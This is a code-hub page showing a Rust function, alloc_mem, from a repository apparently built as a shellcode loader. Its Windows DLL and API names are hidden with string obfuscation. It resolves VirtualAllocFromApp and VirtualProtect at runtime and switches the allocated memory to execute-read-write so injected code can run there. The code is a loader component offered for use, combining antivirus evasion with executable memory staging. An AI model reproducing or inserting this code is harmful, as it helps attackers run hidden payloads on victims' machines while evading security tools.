MCPcopy Create free account
hub / github.com/echQoQ/RustSL / alloc_mem

Function alloc_mem

src/alloc_mem/va_from_app.rs:2–37  ·  view source on GitHub ↗
(size: usize)

Source from the content-addressed store, hash-verified

1use crate::utils::{load_library, get_proc_address};
2pub unsafe fn alloc_mem(size: usize) -> Result<*mut u8, String> {
3 use obfstr::{obfstr, obfbytes};
4 use core::ffi::c_void;
5
6 type VirtualAllocFromAppFn = unsafe extern "system" fn(
7 base_address: *mut c_void,
8 size: usize,
9 allocation_type: u32,
10 protection: u32
11 ) -> *mut c_void;
12
13 type VirtualProtectFn = unsafe extern "system" fn(lp_address: *mut c_void, dw_size: usize, fl_new_protect: u32, lpfl_old_protect: *mut u32) -> i32;
14
15 // Try kernelbase.dll first, then kernel32.dll
16 let lib = match load_library(obfbytes!(b"kernelbase.dll\0").as_slice()) {
17 Ok(h) => h,
18 Err(_) => load_library(obfbytes!(b"kernel32.dll\0").as_slice())?,
19 };
20
21 let virtual_alloc_from_app: VirtualAllocFromAppFn = core::mem::transmute(get_proc_address(lib, obfbytes!(b"VirtualAllocFromApp\0").as_slice())?);
22 let virtual_protect: VirtualProtectFn = core::mem::transmute(get_proc_address(lib, obfbytes!(b"VirtualProtect\0").as_slice())?);
23
24 // PAGE_READWRITE = 0x04. VirtualAllocFromApp usually doesn't allow PAGE_EXECUTE_READWRITE directly
25 let p = virtual_alloc_from_app(core::ptr::null_mut(), size, 0x00001000 | 0x00002000, 0x04);
26 if p.is_null() {
27 return Err(obfstr!("VirtualAllocFromApp failed").to_string());
28 }
29
30 let mut old_protect = 0u32;
31 let ok = virtual_protect(p, size, 0x40, &mut old_protect); // PAGE_EXECUTE_READWRITE
32 if ok == 0 {
33 return Err(obfstr!("VirtualProtect failed").to_string());
34 }
35
36 Ok(p as *mut u8)
37}

Callers

nothing calls this directly

Calls 2

load_libraryFunction · 0.85
get_proc_addressFunction · 0.85

Tested by

no test coverage detected